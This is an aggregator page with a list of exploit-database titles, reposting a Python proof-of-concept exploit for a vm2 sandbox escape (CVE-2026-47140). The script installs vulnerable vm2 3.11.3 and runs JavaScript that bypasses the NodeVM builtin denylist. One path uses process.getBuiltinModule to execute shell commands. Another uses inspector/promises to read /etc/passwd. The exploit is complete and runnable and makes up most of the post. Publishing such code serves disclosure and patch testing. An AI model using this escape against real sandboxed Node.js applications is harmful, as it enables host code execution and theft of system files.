惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

F
Fortinet All Blogs
爱范儿
爱范儿
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
B
Blog
WordPress大学
WordPress大学
Jina AI
Jina AI
GbyAI
GbyAI
aimingoo的专栏
aimingoo的专栏
N
Netflix TechBlog - Medium
腾讯CDC
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
阮一峰的网络日志
阮一峰的网络日志
The GitHub Blog
The GitHub Blog
V
Visual Studio Blog
Google DeepMind News
Google DeepMind News
月光博客
月光博客
博客园 - Franky
Y
Y Combinator Blog
MyScale Blog
MyScale Blog
大猫的无限游戏
大猫的无限游戏
Martin Fowler
Martin Fowler
雷峰网
雷峰网
小众软件
小众软件
H
Hackread – Cybersecurity News, Data Breaches, AI and More

CXSECURITY Database RSS Feed - CXSecurity.com

Langflow 1.3.0 Remote Code Execution Krayin CRM v2.2.x Authenticated Remote Code Execution PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution Frigate NVR 0.16.3 Remote Code Execution
vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass
Mohammed Idr · 2026-06-23 · via CXSECURITY Database RSS Feed - CXSecurity.com

vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass

#!/usr/bin/env python3 # Exploit Title: vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass (Sandbox Escape) # CVE: CVE-2026-47140 # Date: 2026-06-20 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://github.com/patriksimek/vm2 # Software Link: https://github.com/patriksimek/vm2 # Affected: vm2 <= 3.11.3 # Tested on: Node.js 18/20 + Python 3 # Category: Remote Code Execution # Platform: Node.js # Exploit Type: Sandbox Escape # CVSS: 9.8 # Description: vm2 NodeVM builtin denylist bypass via process.getBuiltinModule and inspector/promises leading to host RCE. # Fixed in: vm2 3.11.4 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- # # Notes: # • Requires Node.js and npm installed # # How to Use # # Step 1: # Save as exploit.py and run # # Step 2: # The script auto-downloads vulnerable vm2 and executes the PoC def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import subprocess import sys import os import tempfile import shutil def run_command(cmd, cwd=None): try: result = subprocess.run(cmd, shell=True, cwd=cwd, capture_output=True, text=True, timeout=10) return result.stdout.strip(), result.stderr.strip(), result.returncode except Exception as e: return "", str(e), -1 def main(): banner() print("=== CVE-2026-47140 PoC - vm2 Sandbox Escape ===\n") with tempfile.TemporaryDirectory() as tmpdir: print(f"Working directory: {tmpdir}") print("[+] Installing vulnerable vm2@3.11.3...") run_command("npm init -y", tmpdir) stdout, stderr, code = run_command("npm install vm2@3.11.3", tmpdir) if code != 0: print("[-] Failed to install vm2. Make sure Node.js + npm are installed.") print(stderr) return exploit_js = """ const { NodeVM } = require('vm2'); console.log('[+] Running CVE-2026-47140 exploit\\n'); const vm1 = new NodeVM({ console: 'inherit', sandbox: {}, require: { builtin: ['*', '-child_process'], external: false } }); try { const output = vm1.run(` const processMod = require('process'); const cp = processMod.getBuiltinModule('child_process'); const result = cp.execSync('id && whoami && hostname', { encoding: 'utf8' }); module.exports = result; `); console.log("✅ SUCCESS (process bypass):\\n" + output); } catch (e) { console.error("❌ Exploit 1 failed:", e.message); } const vm2 = new NodeVM({ console: 'inherit', sandbox: {}, require: { builtin: ['*'], external: false }, allowAsync: true }); vm2.run(` (async () => { const { Session } = require('inspector/promises'); const session = new Session(); await session.connect(); await session.post('Runtime.enable'); const res = await session.post('Runtime.evaluate', { expression: 'require("fs").readFileSync("/etc/passwd", "utf8").split("\\n").slice(0,3).join("\\n")', returnByValue: true }); console.log("✅ SUCCESS (inspector bypass):\\n" + res.result.value); session.disconnect(); })().catch(e => console.error(e)); `, 'exploit.js'); """ exploit_path = os.path.join(tmpdir, "exploit.js") with open(exploit_path, "w") as f: f.write(exploit_js) print("\n[+] Executing the exploit...") stdout, stderr, code = run_command("node exploit.js", tmpdir) print("\n" + "="*60) print(stdout) if stderr: print("STDERR:", stderr) print("\n[+] PoC completed. Update to vm2@3.11.4 or newer.") if __name__ == "__main__": if shutil.which("node") is None or shutil.which("npm") is None: print("Error: Node.js and npm are required.") sys.exit(1) main()

References:

https://github.com/patriksimek/vm2/releases/tag/v3.11.4




 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}